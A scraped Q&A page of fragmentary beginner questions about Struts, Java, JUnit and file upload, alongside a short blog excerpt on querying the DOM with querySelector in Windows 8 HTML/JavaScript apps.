- The To add another activity version that works with other builds click "add another form interface works nicely for editing, but doesn't work for querying! It just adds more Property:Activity version and Property:Activity bundle values to the page — they aren't grouped together in any way except visually. This is the same underlying issue as adding multiple Test results to a test case, see #Issues for test results. -- Skierpage 01:08, 14 September 2008 (UTC)
We need to fix the templates so they can tell the difference betweeen latest version and the versions that work on earlier releases.
There are queries of this in:
- 9.1.0#Lists of candidate activities has various lists of activities, some from queries
- G1G1 Activity testing#Activity list queries for activity pages in the Activities/G1G1 activity group
- Activity queries has a useful query of all activities, and others
- Activity query examples has more queries
Adapting activities and their templates to use Semantic Forms would make it easier to
- maintain the Activities page
- show the status of activities in various activity packs
- query for things like activities that don't have a translation status.
Activity update?
The XO's Software update panel (new in release 8.2.0) consults wiki pages like Activities and Activities/Joyride to figure out whether a newer version of an activity is available. Perhaps these pages could be generated by querying for the properties of activities, and feeding the results into a template like {{Activity-oneline}} that displays the resulting HTML with the rigorous Activity microformat.
Other things to do
People want changes but what exactly?
- Unify the OBX box and semantic properties — more details on /Activities subpage
- Creating an activity has buttons to create an Activity summary and an Activity page (both using Template:Activity-summary), but the first is redundant with semantic info and the second doesn't have semantics and doesn't match the layout of good activity pages like Chat.
- Unify Creating an activity and the new Form:Activity?
- Replaces pages like Activities/All with generated tables of activities?
- Probably get rid of all the little obsolete summary subpages under Projects like Projects/Write; or generate them. (Asked on User_talk:sj -- skierpage 01:38, 10 February 2009 (UTC))
- Property:Activity group obsoletes the Bundled / Core / Extra distinction.
For releases
The Releases page had duplicated summary information for each release. In September 2008 this info was annotated in each release page (see e.g. 8.1.0), so you could query for it. Some queries:
- Future releases queries for Status NOT "released", i.e. future releases.
- Future releases queries for release date and/or target date showing the information on a timeline.
- Release notes queries for Status "released" sorted by Release_date, i.e. past releases.
- What release am I running? has a query displaying the build number first.
Also see Releases-test page.
ISSUE: Merging release page and "Release notes"
As of September 2008, most releases have a page that only contains the semantic info, and a separate Release_notes/xxx page with all the information about the release, for example 8.1.1 and Release notes/8.1.1. This is a hassle for editors who have to maintain two pages and the link between them, and for users who follow links to a build and then have to go to its release notes.
User:CScott experimented with moving the semantic info for 8.1.0 into Release notes/8.1.0, but that means in a query of e.g. build numbers and firmware versions the "release" appears as Release notes/8.1.0. And it's strange for a page named "Release notes/8.1.0" to make semantic statements like "my ECO is xyz", "my firmware version is nnn", etc.
User:Skierpage thinks the solution is to have pages named e.g. 9.1.0 with the semantic information in a "Standard information" section. Then as release note information becomes available, editors add it to this page in additional sections and categorize the page as Category:Release notes. There is no compelling need for release notes to be subpages of "Release notes". There is unlikely to be title conflict between release numbers and existing pages.
User:CScott also removed past release info from Releases and put it in Release notes, turning the former into Future releases. This also shows the distinction between releases and release notes is not useful. As a release page firms up, it gets release note information.
Info for each release
Here are some properties that releases may have, based on the Releases page and e-mail message "Re: [sw-eco] q2e11 firmware for 8.1.2 ECO" to devel@laptop.org of 2008-07-15:
- Property:Status: string, restricted to values like "nascent", "gathering requirements", "released".
- Property:Primary maintainer: usually someone with a wiki page
- Note the Release Notes wiki page can be derived from the release name, it's always Release_notes/N.N.N
- ECO: a release uses the more general Property:Is part of to link to an ECO's wiki page
- Primary objectives: a release can have multiple Property:Has objective values.
- Property:Lead customer: wiki page, can be the country Peru or the organization OLPC_Peru.
- Property:Build number
- Build URL: In theory for a released release this can be derived from Build_number, it's always. But to make it easier and future-proof, it's an explicit separate Property:Download URL.
- Schedule: Each release page can have a Property:Target date if it's still planned and should have a Property:Release date when its status becomes "released". The release's page may have additional details such as a schedule URL, Created date, or Date documentation posted, these aren't properties.
- a Property:firmware wiki page like OLPC Firmware q2e15. or is this a property of the build?
- a Property:Release notes. Release N.NN.N 's notes are currently the page [[Release notes/N.N.N]] , but as of SMW version 1.2 in September 2008 you can't modify a page property to make a different page link.
Future releases vs. released releases
A future release has
- [[Build number::999]] — it doesn't have a known build
- [[Status::anything but Released]]
- [[Target date::some date]] and no [[Release date]]
A release that's happened has
- [[Build number::NNN]]
- [[Status::Released]]
- [[Release date::some date]] and no [[Target date]]
Release info issues
- If Greg wants to re-display additional status information in the queries on the Releases page like "Candidate build is out - Join the test effort!", we could add Property:More info to release pages and display in queries.
- The Releases page used to show
- link to release notes
- URL for build directory
- each objective in a bulleted list
- Displaying these in the queries would require creating a query results template.
ECOs?
Each ECO is associated with a release and has info like:
- Title: string (not always a release)
- Date proposed: date
- Target date: date, sometimes fuzzy like "week of 2008-03-02"
- Trac items: multiple bug numbers (and manual copy of their text)
- Date released
- Priority: "normal", "high", with string
- Champion: usually someone with a wiki page.
- Reviewers: wiki text, often includes "triage team" and/or "Testing: 1 Hour Smoke test"
- Special testing required: string
- Rollout: "Manufacturing" and "Field"
- Checklist: wiki page for URL, usually <ECO page_name>_Checklist
It's unclear if any of this is worth annotating. Maybe a table of ECOs with their build and firmware, but the release is tied to an ECO, not vice-versa.
Reusing release values
wiki.laptop.org uses three methods to display a changing value like The release candidate on multiple pages without having to update each one.
- Mention one of the sub-templates of Template:Latest Releases, such as Template:Latest_Releases/stable
- Transclude a subpage with the information, such as Friends in testing/current image number or Friends in testing/current image stream
- current testing stream & release is ==> official & os860
- Use SMW's #ask or show function to display a property from a page, such as Property:Current image number for testing or Property:Current image stream for testing
- current testing stream & release is ==> official & 860
- #show should also work... &
- As of 2008-08-07 this last semantic approach is implemented completely the wrong way, these should be generic properties Property:Stream and Property:Build associated with a descriptive page like Testing build or Stable release, not specific properties on specific page names. -- Skierpage 10:27, 12 August 2008 (UTC)
For events
Annotate events, jams, and meetings with [Property:Start date]], and then other pages can query to get a list or timeline of future pages. See the queries on Jams and Events#Upcoming events on wiki.laptop.org
- Also give events a Property:End date; this is optional for meetings and jams that are usually one day.
- Additional properties appropriate for events are Property:Has location city and Property:Has location country
- Can also use Property:Cooordinates to annotate where an event is. See, e.g. OLPC Switzerland/Meeting October Bern. Unfortunately it seems that displaying multiple events as markers on a map requires additional extensions.
For software features
2008-12-12 the static feature roadmap was split into subpages, and Feature roadmap queries these. Features-test has other sample queries.
Each feature is a subpage of Feature roadmap/ ; each uses Template:Feature tracking to add semantic properties to itself and display a standard appearance.
/Archive has original discussion and planning of the feature.
TODO
- Remove the redundant Property:Short name, you can get "Concept maps" from Feature roadmap/Concept maps using parser functions:
{{#sub: {{{1}}} | {{#if: {{#pos:{{{1}}}|/}} | {{#expr: {{#pos:{{{1}}}|/}} + 1}} | {{#pos:{{{1}}}|/}} }} }}
- Property:Priority should be set to something if not explicitly set.
- see if category assignment can be put in a <noinclude so that a format=embedded query doesn't get category assignments.
- Make 9.1.0 page query for pages with Property:Target for 9.1.
- Add a query to each deployment page showing its requested features (see Features-test)
- Once layout settles down, use a template to display query results, which can:
- Remove "Feature roadmap/" in front of every name.
- Decide? Add __NOFACTBOX__ to feature pages so they don't have a confusing factbox following the table?
- ? Maybe remove the period from Property:Target for 9.1 as it causes weird breakage in queries (have to put a space in front of it.
Where semantics could be used
For translations?
The main translation infrastructure on the wiki requires that for every page that has translations you maintain a little subpage linking the different translations together. For example, Software components has Software components/translations that lists
{{translationlist | es | it | ja | ko | orig=en }}
As an alternative, the Semantic-MediaWiki.org site uses a "Docu" template that queries to find all other pages based off the same master page and displays a translation bar linking to them. The existing Template:translation could probably be adapted to work with semantics, since the information that this query needs is already in pages, such as:
{{ Translation | lang = de | source = Translating/HowTo | version = 54321 }}
The benefit is no one has to maintain the "Page foo/translations" page, and there's only one template to use, instead of Translation and Translations. (The existing Template:Translations would call this, defaulting to lang=en and source={{PAGENAME}}.)
For content repositories?
User:Lauren and others created lots of pages in Category:Content Repository about various online libraries and collections. These pages have information such as
- Format
- Scope
- Multilingualism
- Quality
which could be made into semantic annotations for properties with these names, so you could query "Show me the name, url, and formats of all content repositories of topic::music with quality::high.
These seems to come from Template:Content item (maybe there's a "Create content item" link or option somewhere?). However, skierpage looked at a dozen of these pages in September 2008 and in most of them these fields aren't filled out.
To Do list
Semantic Google maps
To embed google maps in the wiki with locations of projects/deployments/events and with links to appropriate wiki pages, we need
- Create Property:Coordinates — done, pages that use it get a "service links" to Google maps for free (click the (?) button, click the link).
Still TO DO:
- Install
- Get a Google Maps API key.
- Add Coordinates to Form:Deployment and Template:Deployment, also to event pages.
- Query for these to show maps of deployments and events
Meanwhile, people have made their own maps on Google
-- Skierpage 02:55, 1 October 2008 (UTC)
Easy Fixes
- (ie just edit a little bit of code)
- Auto generate templates
-
- Make template an activity and edit with form
- Move around the <no include> tags
- But when empty it should show something
- Make a tag that says this is not semantic stuff
- Alt text not working in templates
-
- Feature part of Tests/Sugar_Control_Panel/About_Me/Color_Change
- Add new types
- It's easy to add a property that has some built-in type (like [[Has type::Text]] and restrict it to certain values and maybe control its format.
- It's possible to add a new "linear" type that converts between different units , e.g. a Type;Area
- it's hard to add other kinds of types, it requires writing PHP code.
- -- Skierpage 10:42, 31 July 2008 (UTC)
- Time duration
- User
- Not sure what this means. If it's links to User:skierpage then maybe just create Property:User of type:page.
- Trac bug number
- This is available as Property:Trac bug number of type:Number. You should be able to use Service links and templates in query results to get this to display as a link. But numbers appear with a comma for the thousands separator. Could instead make it Type:URL and you use a template to fabricate the URL, but then it would appear as a long URL in query results. It might be possible to write PHP code to create a Type:Trac that displays appropriately, similar to how the <trac>4321</trac> code displays.
- Image
- Just some property of Type:Page (the default), in most cases SMW do the right thing and display the image .
- Template?
- Make the free text box larger.
- When creating a template, you should be able to create properties in that window as well as use already created properties.
- Way to 'prettify' links when used in SMW properties with a "Page" type.
- Example: Color Change instead of Tests/Sugar_Control_Panel/About_Me/Color_Change.
- See #Suggestions_for_test_cases. Maybe have a "Brief name" property and display that while linking to the full page name. Or, in queries use format=template and in the template use a parser string function to change the title from Tests/Sugar_Control_Panel/About_Me/Color_Change. Or, use categories to identify the hierarchy. You risk collision if the page title is just Color change, so you could have a little "TC" prefix, just TC/Color Change or a pseudo-namespace TC:Color_change
- Translating Property names
- Nathany on #cc
- When making a template add a more organized presentation of properties
Complex fixes
- (ie require creating a new extension)
- Something in between a list of specific allowed values and free text
- I want to be able to have the equivalent of an other field
- One approach: have two properties like Property:Version and Property:Version_more that you always display together, the first has restricted values, the other is text. Another is to use Type:Page and have pages for the allowed values. So not-allowed values "work", but stand out in red.
- Way to automatically email users who maintain pages
- Automatically populate data
- ex page last updated case
- SMW 1.1 can't query on or display such metadata. I think other extensions like DPL can.
- Way to pull %translated from pootle
- Could have a bot that gets this information and populates wiki pages with it.
Semantic annotations
The wiki has the wikipedia:Semantic MediaWiki extension installed, the thing to do is use it appropriately.
Successful rollout suggestions
- Deliver benefits early.
- To a casual editor, SMW is just more markup, more stuff to learn, an ugly factbox on pages, more "Semantic Web 3.0" hype. So find use cases that deliver obvious benefits early
- Don't create lots of properties and spend time annotating lots of pages until you have use cases for them. A person reading one wiki page after another does not need semantic annotations.
- It's fine to convert templates to make semantic annotations, since you get this "for free"
wiki.laptop.org issues
Use Template:SMW issue to note a problem on any page, it'll show up on the Property:SMW issue page.
Template conversion
- Use arraymap to turn lists of things into multiple property assignments.
- Use Semantic Forms... (not sure about it)
- Beware, people take advantage of wiki markup to stick all kinds of text inside templates. Maybe have an "fieldname extra info" field for arbitrary text.
Generic names
Should Property:Test objective be a generic name, or specialize it to Property:Test case objective ? skierpage's bias is to use generic names, but document on their property page what templates and pages use them.
How tos
Modify or remove a property
Summary:
- Edit the template the form fills in
- edit the form
- edit queries that use the property
Here's an example from User:Skierpage of removing Property:Contact person from deployment pages.
A human being should have documented the Property:Contact person page with:
- Template:Foo, filled in by Form:Bar, may set this property.
1. Instead, if you edit a deployment page you can see
{{Deployment ... |contact person=user:sbuchele
therefore Template:Deployment sets this property. So I edited the template and removed the table row that sets this property. Changing a template should (and did!) eventually update pages invoking it like OLPC_Ghana; if you don't want to wait you would Edit & Save each deployment page to get it to happen faster.
2. To modify the form, you could guess it's called Form:Deployment, or use Special:Allpages to show all pages in the Form: namespace, or look at Category:Deployments and see [[Has default form::Form:Deployment]] which makes the "edit with form" tab appear.
I'm not an expert in Semantic Forms, so I just edited Form:Deployment, deleted the "Contact Person" part of it, and it seemed to work.
3. Then, edit queries that show Contact person and delete the
| ?Contact person
line. I did so on the Deployments page. | http://wiki.laptop.org/go/Semantic_MediaWiki/ | CC-MAIN-2016-40 | refinedweb | 4,112 | 53.21 |
NAME
RAND_egd, RAND_egd_bytes, RAND_query_egd_bytes - query entropy gathering daemon
SYNOPSIS
#include <openssl/rand.h> int RAND_egd(const char *path); int RAND_egd_bytes(const char *path, int bytes); int RAND_query_egd_bytes(const char *path, unsigned char *buf, int bytes);
DESCRIPTION
RAND_egd() queries the entropy gathering daemon EGD on socket path. It queries 255 bytes and uses RAND_add(3) to seed the OpenSSL built-in PRNG. RAND_egd(path) is a wrapper for RAND_egd_bytes(path, 255);).
NOTES
On systems without /dev/*random devices providing entropy from the kernel, the EGD entropy gathering daemon can be used to collect entropy. It provides a socket interface through which entropy can be gathered in chunks up to 255 bytes. Several chunks can be queried during one connection..
RETURN VALUE
RAND_egd() and RAND_egd_bytes() return the number of bytes read from the daemon on success, and -1 if the connection failed or the daemon did not return enough data to fully seed the PRNG.
RAND_query_egd_bytes() returns the number of bytes read from the daemon on success, and -1 if the connection failed. The PRNG state is not considered.
SEE ALSO
rand(3), RAND_add(3), RAND_cleanup(3)
HISTORY
RAND_egd() is available since OpenSSL 0.9.5.
RAND_egd_bytes() is available since OpenSSL 0.9.6.
RAND_query_egd_bytes() is available since OpenSSL 0.9.7.
The automatic query of /var/run/egd-pool et al was added in OpenSSL 0.9.7. | https://www.openssl.org/docs/man1.0.2/man3/RAND_query_egd_bytes.html | CC-MAIN-2022-33 | refinedweb | 227 | 73.68 |
view raw
So i want to scrape attribute value in python and currently i'm using regex but its not that effective so i wanted to know what should i use instead since many says that regex is bad for such thing.
Thanks
This is what i try to get.
<input type="hidden" name="test" value="99948555">
I would use BeautifulSoup for this kind of parsing :
from bs4 import BeautifulSoup html = '<input type="hidden" name="test" value="99948555">' soup = BeautifulSoup(html, 'html.parser') print(soup.find('input')['name'], ':', soup.find('input')['value']) # outputs : "test : 99948555"
See the documentation for usage and examples :
You can install it like this :
[python_binary] -m pip install bs4 | https://codedump.io/share/vTZweYiCUApj/1/best-way-to-get-value-from-html-in-python | CC-MAIN-2017-22 | refinedweb | 113 | 55.27 |
import "github.com/go-kit/kit/metrics/internal/lv"
LabelValues is a type alias that provides validation on its With method. Metrics may include it as a member to help them satisfy With semantics and save some code duplication.
func (lvs LabelValues) With(labelValues ...string) LabelValues
With validates the input, and returns a new aggregate labelValues.
Space represents an N-dimensional vector space. Each name and unique label value pair establishes a new dimension and point within that dimension. Order matters, i.e. [a=1 b=2] identifies a different timeseries than [b=2 a=1].
NewSpace returns an N-dimensional vector space.
func (s *Space) Add(name string, lvs LabelValues, delta float64)
Add locates the time series identified by the name and label values in the vector space, and appends the delta to the last value in the list of observations.
func (s *Space) Observe(name string, lvs LabelValues, value float64)
Observe locates the time series identified by the name and label values in the vector space, and appends the value to the list of observations.
Reset empties the current space and returns a new Space with the old contents. Reset a Space to get an immutable copy suitable for walking.
Walk traverses the vector space and invokes fn for each non-empty time series which is encountered. Return false to abort the traversal.
Package lv imports 1 packages (graph) and is imported by 96 packages. Updated 2019-05-03. Refresh now. Tools for package owners. | https://godoc.org/github.com/go-kit/kit/metrics/internal/lv | CC-MAIN-2019-43 | refinedweb | 247 | 57.87 |
. C99 now allows declaring variables at first use instead of the top of a code block (I'm still on the fence about that in C; in Lua, I usually will declare a new local variable when first needed). > > I call the third one "logical blocks". If half a page of code deserves a > > comment describing what it does, one might as well put that comment > > on the rest of a line starting with "do". > > > > The result is that seeing 'local' at a place where I can't see the start > > of its scope makes my eyes hurt. > > So, all your variables (except "semi-global") must have small enough scope > to fit inside one screen? That's not good. It means you don't allow > yourself to use full power of upvalues. > > IMO, upvalues are "long-range devices" in Lua. Upvalues are just non-global variables in an outer scope. I've never thought of them as "long-range devices" and the concept is odd to me. > One of their strong sides > is "shooting" over several big "do...end" blocks. Another strong side is encapsolation. For example, this bit of code I use: local next_id do local id = 0 next_id = function() id = id + 1 if id == 4294967295 id = 0 end return id end end 'id' is an upvalue in next_id(). > Typical situation: You > have four chunks of code, they are big enough, and you have a variable > "var23" which must be shared between chunks 2 and 3, while it's undesired > to expose "var23" to chunks 1 and 4. > > do chunk 1 end > do > local var23 > do chunk 2 end > do chunk 3 end > end > do chunk 4 end > > What are your options here? Making "var23" a "semi-global" is a bad idea > (its usage is limited to chunks 2 and 3, so why should we expose it to the > code which doesn't need it?). > > Making chunks 2 and 3 small enough (to fit one screen) is unreachable: in > Lua local/upvalue can't be passed by reference to some external code > (dofile/require); would you create getter and setter functions to pass > them to external code? Please no. How big is a "screen"? 24 lines? 70 lines? 81 lines? Methinks it is dependant upon the screen and user interface one is using. > > I realize that these habits betray my Algol/Pascal programming past, > > but at least they cost nothing. > > Your habits cost you pretty much. They work for Dirk; they may not work for you.. > Your "three other favorite tricks" are actually a workaround describing > "how to survive in global-by-default Lua". The reason is: you are afraid > of a global been accidentally shadowed out by a local/upvalue, that's why > you are refusing to use upvalues wherever/whenever they are useful. No, I'm afraid of accidental globals, not of shadowing a global value. I can't speak for Dirk. > To unleash full power of upvalues (to make them work at long ranges without > problems), you need some kind of safety; one possible source of such safety > is separation of namespaces of locals and globals. > A new syntax and a new habit could make your fears gone away. What? -spc | http://lua-users.org/lists/lua-l/2018-07/msg00679.html | CC-MAIN-2019-35 | refinedweb | 535 | 78.28 |
^^. Ideally I want to avoid having to write (organize, share, etc) two crowd-specific reports.
A solution to this problem is to create reproducible reports that contain the R code, the results, and interpretation. For the specific scenario I am talking about, reproducibility is a plus, however I believe that it is important for research; albeit not the topic of this post. One of the strongest packages out there to create such reports is
knitr (Xie, 2013). It is specially easy to create
Rmd files from which you can generate HTML reports. Then using RStudio you can share them via RPubs, a private folder on Dropbox, etc. From example, this is a presentation without the slide formatting I shared more than a year ago.
Using
knitr (Xie, 2013) is definitely a step in the right direction. However, you soon find yourself desiring a better template. This is where
knitrBootstrap (Hester, 2013) comes in. This package was initialized in March 20th, 2013 by Jim Hester and hosted on it’s GitHub repository. I was sold on the idea early on and I am now making this post in part as a tribute to celebrate that it has been available via CRAN for nearly 5 months now.
So what can you do with
knitrBootstrap (Hester, 2013)? In my opinion, you get the ideal solution (or very close at the least) to the problem I described at the beginning. Basically, you get a HTML report that has the interpretation and results which is what the no-R crowd wants to read, and the R code easily available at the click of a button for the R crowd. In addition, the report is much more nicely formatted which is pleasant to the eye. Furthermore, a menu with the sections is included which is very useful when navigating the report and for jumping to specific sections. To save space, the plots are saved as thumbnails and you can click on them to get the full view. Finally, you can choose to display toggle menus for allowing the users to change the default text and code formatting.
How do you use this package? The main workhorse is the
knit_boostrap() function. The initial arguments are similar to those you find in
knitr::knit() while the new features are controlled using:
boot_styleYou can select out of 11 or so options for the default formatting. Basically, you choose one of the Bootstrap themes available.
code_styleSimilar to
boot_stylebut for controlling the appearance of the code chunks.
chooserAllows you to control if you want a toggle menu so the user can choose (hence the name) the bootstrap and/or code styles.
thumbsizeFor controlling the size of figure thumbnails.
show_codeWhether by default the code is shown. I set this to
FALSEin order to get a report that by default is accessible for the no-R crowd. The R crowd can then click to see the code for each code chunk or use the menu on the bottom to show all the code at once.
show_outputSimilar to
show_codebut for controlling the visibility of the output produced from the code. I set this to
TRUEas you normally want to show the output to both the no-R and R crowds.
show_figureWhether you want to show the plots or not.
graphicsUsed only for controlling the toggle menus for the bootstrap and code styles.
Once you have decided which options you want to use, it is as simple as running the following code for your
Rmd file (named
file.Rmd in the example):
## Install if needed install.packages("knitrBootstrap") ## knit with knitrBootstrap library("knitrBootstrap") knit_bootstrap("file.Rmd", code_style = "Brown Paper", chooser = c("boot", "code"), show_code = FALSE)
Things get a tiny bit more complicated if you want to use RStudio. You basically have to modify your
.Rprofile file, then load RStudio and change the settings to weave files with
knitrinstead of using
Sweave. Then, you have to use
knitr::render_html() on the
Rmd file itself. Below is a short example of the
.Rprofile modified to use
knitrBootstrap and the basic
Rmd example.
You can view the final output here. Note that you might need to click on “hide toolbars” (a RPubs option) to clearly view the menus on the bottom.
If you are like me and use Textmate as your text editor, you can knit the
Rmd files with
knitrBootstrap and preview them directly on the Textmate viewr using a command like this (modified from the SWeave bundle):
Other usage options are described in the knitrBootstrap help page.
To close off, let me emphasize how useful it is to be able to generate a single report that is pleasant to the eye, contains all the information, and is easily sharable for both the R and no-R crowds. Plus it’s reproducible!
I really like this package and would like to thank Jim Hester for this great package! Keep up the good work! I even use
knitrBootstrap in derfinderReport which generates reports on the results from derfinder, a package that I am currently developing.
References
Citations made with
knitcitations (Boettiger, 2013).
- Carl Boettiger, (2013) knitcitations: Citations for knitr markdown files.
- Yihui Xie, (2013) Dynamic Documents with {R} and knitr.
- Jim Hester, (2013) knitrBootstrap: Knitr Bootstrap framework..rBootstrap_0.9.0 knitcitations_0.4-7 bibtex_0.3-6 ## [4] knitr_1.5 ## ## loaded via a namespace (and not attached): ## [1] codetools_0.2-8 digest_0.6.4 evaluate_0.5.1 formatR_0.10 ## [5] httr_0.2 markdown_0.6.3 RCurl_1.95-4.1 stringr_0.6.2 ## [9] tools_3.0.2 XML_3.95-0.2 xtable_1.7-1
Check other topics on ... | http://www.r-bloggers.com/creating-awesome-reports-for-multiple-audiences-using-knitrbootstrap/ | CC-MAIN-2016-30 | refinedweb | 928 | 64.81 |
Query Your DOM
Your HTML describes the structure and sequence of your document. It’s the starting point for your UI. But it’s just the starting point. Things change. Items get added, removed, or moved. Styles change. Dialogs appear and disappear, and the user touches things and drags them around. All (or at least most) of this interaction happens in JavaScript where you can instruct your document in the language of code to react to your user and do what you command.
Before you can move something, remove something, or add to something, though, you’ll need to select it. That’s what I’m going to talk about here. I’m going to talk about selecting one or more elements from your document object model (DOM) from JavaScript so you can work with them. This is called querying the DOM.
It used to be rather difficult to query the DOM. When I was a kid I not only had to walk uphill to school both ways, but I also had to use rudimentary and often proprietary JavaScript functions for getting access to in my HTML. The popular getElementById() was helpful but it only ever got one thing at a time. Usually, I resorted to looping through document.all() and asking questions about each and every element on the page to see if it was in my reticle for the change I had in mind.
Today, things are different. When I first met jQuery and started selecting from the DOM using the CSS selector syntax I already knew, it was love at first $. When I started Windows 8 development using HTML/JS I remember thinking “okay… but only if I get to take jQuery in with me”. But since I’ve hardly used it. The reason is that ECMAScript 5 introduced querySelector() and querySelectorAll(). These yumful functions take CSS queries just like the jQuery selector syntax and return (respectively) a single DOM element or a list of nodes.
Besides these selection methods, WinJS also added a couple of functions (that just wrap querySelector and querySelectorAll BTW). They are id() and query() and they’re in the WinJS.Utilities namespace.
I talk all about of these selection methods in a previous post called Selecting Elements in a Windows 8 HTML App.
I liked using querySelector and querySelectorAll because they were the closest to the metal being right in the JavaScript language, but there was one thing I didn’t like about them. querySelector returns a DOM element… that’s fine. querySelectorAll returns a node list, though and I usually want to work with an array so I can use all of the ECMAScript 5 array functions. So I wrote a wrapper that I simply call q() which stands for query. It’s short and has a little bit of abstract functionality that I like, and I wrote a post about it too. It’s called Query Selector Helper for Metro Apps. But I have since upgraded the helper function to allow the caller to force the result of the call to be an array. That way, even if it is only a single result that is returned, it will return it as an array of one, so the caller doesn’t have to have switching logic.
I keep the latest version of this function in my ocho.js library which is part of my codeSHOW project on CodePlex. So to get the latest version of the helper, simply go to, go to the Source Code tab, choose Browse, and then browse to /codeSHOW/js/ocho.js.
Enjoy!
(Note: Opinions expressed in this article and its replies are the opinions of their respective authors and not those of DZone, Inc.) | http://css.dzone.com/articles/query-your-dom?mz=46483-html5 | CC-MAIN-2014-15 | refinedweb | 619 | 71.55 |
Hi... - Struts
Hi... Hi,
If i am using hibernet with struts then require... provide you hibernate tutorial with running code
Please visit for more... of this installation Hi friend,
Hibernate is Object-Oriented mapping tool
hi
hi i want to develop a online bit by bit examination process as part of my project in this i am stuck at how to store multiple choice questions options and correct option for the question.this is the first project i am doing
hi.......
){
}
}
can anyone tell wts wrong with this code??
Hi,
Check it:
import...hi....... import java.awt.;
import java.sql.*;
import javax.swing.... from bank where branch='kannur'");
Statement st=con.createStatement();
int i
hi... - Struts
hi... Hi Friends,
I am installed tomcat5.5 and open... also its very urgent Hi Soniya,
I am sending you a link. I hope that, your problem will be solved. Please visit for more information
Deployment of your example - Struts
of unnecessary files in it, or am I mistaken? Hi friend,
Please send me code and explain in detail.
Visit for more information.
http...Deployment of your example In your Struts2 tutorial, can you show
Running JUnit
Running JUnit Hi sir
How can we run JUnit or Run test case Using JUnit using command prompt or CMD?
Is there any alternate way of running test cases?
Hi friend
You can run JUnit test case by running following
struts
struts <p>hi here is my code in struts i want to validate my form fields but it couldn't work can you fix what mistakes i have done</p>...=ps.executeUpdate();
if(x==1){
System.out.println("uploaded babe
Hi
Hi Hi All,
I am new to roseindia. I want to learn struts. I do not know anything in struts. What exactly is struts and where do we use it. Please help me. Thanks in advance.
Regards,
Deepak
Java Not running - Java Beginners
Java Not running Hi,
I tried to create a grade(type array...
Sakai Hi Friend,
Try the following code:
public class Grader...;
sum = 0;
for (int i = 0; i < grades.length; i what is the code for printing stars as follows
*
* *
* * *
* * * *print("code sample");
Hi Friend,
Try... num=4;
int p = num;
int q = 0;
for (int i = 0; i <= num; i++) {
for (int need some help I've got my java code and am having difficulty to spot what errors there are is someone able to help
import java.util.Scanner;
public class Post {
public static void main(String[] args) {
Scanner sc
Hi - Struts
Hi Hi friends,
must for struts in mysql or not necessary... very urgent....
Hi friend,
I am sending you a link...://
Thanks. Hi Soniya,
We can use oracle too in struts
Hi
Hi I have got this code but am not totally understanding what the errors. Could someone Please help. Thanks in advance!
import java.util.Random;
import java.util.Scanner;
private static int nextInt() {
public class....=con.createStatement();
int i=st.executeUpdate("insert into bankdata(name,pass...+"'");
JOptionPane.showMessageDialog(null,"Your savings is: "+ts
Hi
Hi The thing is I tried this by seeing this code itself.But I;m facing a problem with the code.Please help me in solving me the issue.
HTTP Status 500 -
type Exception report
description The server encountered
Uploaded File Information in the Receiving Script?
Uploaded File Information in the Receiving Script? How To Get the Uploaded File Information in the Receiving Script?
Hi friends,
Once the Web server received the uploaded file, it will call the PHP script specified
Based on struts Upload - Struts
Based on struts Upload hi,
i can upload the file in struts but i want the example how to delete uploaded file.Can you please give the code
explanation to your code - Java Beginners
)?And i have imported many classes.but in your code you imported a very few classes.sir i need your brief explanation on this code and also your guidance.this...explanation to your code sir,
I am very happy that you have
error while running the applet - Java Beginners
);
++num;
}
}
}
}
i have problem while running the code , error... classes in the MyFrame class , can you expalin? Hi
Your program...error while running the applet import java.applet.Applet;
import need your help - Java Interview Questions
i need your help Write a java program that:
i. Allows user to enter 2 numbers from the keyboard
ii. Uses a method to compare the two numbers... than the other.
Hi Friend,
Try the following code:
import
I need your help - Java Beginners
I need your help For this one I need to create delivery class... of 20100076). (Code to representing the delivery area either 1 for local delivery... arguments for the year, delivery number within the year, delivery distance code
Running JUnit
Running JUnit Hi sir
How can we run JUnit or Run test case Using JUnit using command prompt or CMD?
Is there any alternate way of running test cases?
ou can run JUnit test case by running following command on CMD
Problem in running first hibernate program.... - Hibernate
Problem in running first hibernate program.... Hi...I am using....
Thanks Hi friend!I haven't changed the source code given in the zip file.The...-xample.shtml
Where did i go wrong...please help..! Hi Friend
Struts 2 File Upload
on the server. In this example we are also providing
the code to save the uploaded file... be used to upload
the multipart file in your Struts 2 application. In this section you... the uploaded file. But it can be done easily
using the following code
Building and Running Java 8 Support
8 for compiling and running your applications.
Check the tutorial for complete...Building and Running Java 8 Support As you know Java 8 is already released and available for download. Now I am developer of Java based projects. So
Hi .Again me.. - Java Beginners
://
Thanks. I am sending running code according to your requirement. Please implement following code.
import java.awt....Hi .Again me.. Hi Friend......
can u pls send me some code
What is License Terms for using your code
What is License Terms for using your code Hi,
I have used Datepicker.java with some modification from your site. Can you please inform me what is the License terms for using it ?
Thanks
Venkatesh
getting error in your login form code
getting error in your login form code i tried your code for login form but i am getting an error.the error is undefined index userid...
hi friend,
your form's input must have following :
<input type
Hi... - Java Beginners
Hi... Hello Friend
I want to some code please write and me
I want to add dynamic row value in onChange event created dynamic is successfully then i face problem in adding two value please write the code
your app crashed in ipad 2 running iOS 5.0.1
your app crashed in ipad 2 running iOS 5.0.1 I submit my universal application on Apple Store but it rejected the application with the given message...
"We found your app crashed in ipad 2 running iOS 5.0.1, witch
Struts - Struts
Struts What is Struts Framework? Hi,Struts 1 tutorial with examples are available at Struts 2 Tutorials...:// these links will help you build
Running and testing application
Running And Testing Application
The complete database driven application with testing is given below
You can test your application many way like using Mock Object or by using
JUnit Framework. I have used Junit to test Action class
Hi.. - Java Beginners
Hi.. Hi,
I got some error please let me know what is the error...
its very urgent Hi Ragini
can u please send your complete source code
Thanks
sandeep kumar suman
Retrieving list of uploaded files.
Retrieving list of uploaded files. I need to retrieve list of files uploaded by all user's and display it on the webpage.
Example:
I uploaded 3 files on a website. its uploaded.
now the file resides in a directory in the server hi,
I am new in struts concept.so, please explain example login application in struts web based application with source code...://
I hope that, this link will help you
where to stroe this uploaded file
where to stroe this uploaded file thank your sir, but where this file is stored? and how to get the path for further use
hi again - Java Beginners
hi again i did the changes on the code
but still the time is not decreasing
i wanna reach increasing running time target
sorry for asking too much
another question
does multithreads mean running the code with the same
Hi... - Java Beginners
Hi... Hi friends
I want to make upload file module please help...please write the using mvc1 rule
I have three field emp_id,name,file...; Hi Friend,
Try the following code:
1)page.jsp:
Display file
Multiple file upload - Struts
files uploaded
Thanks HI
The code above will work...;--------------------------------------------------------------------------------
HI all,
I have found the solution.the code is given below...Multiple file upload HI all,
I m trying to upload multiple files
hi - Java Beginners
then, if you got any error then post your code.
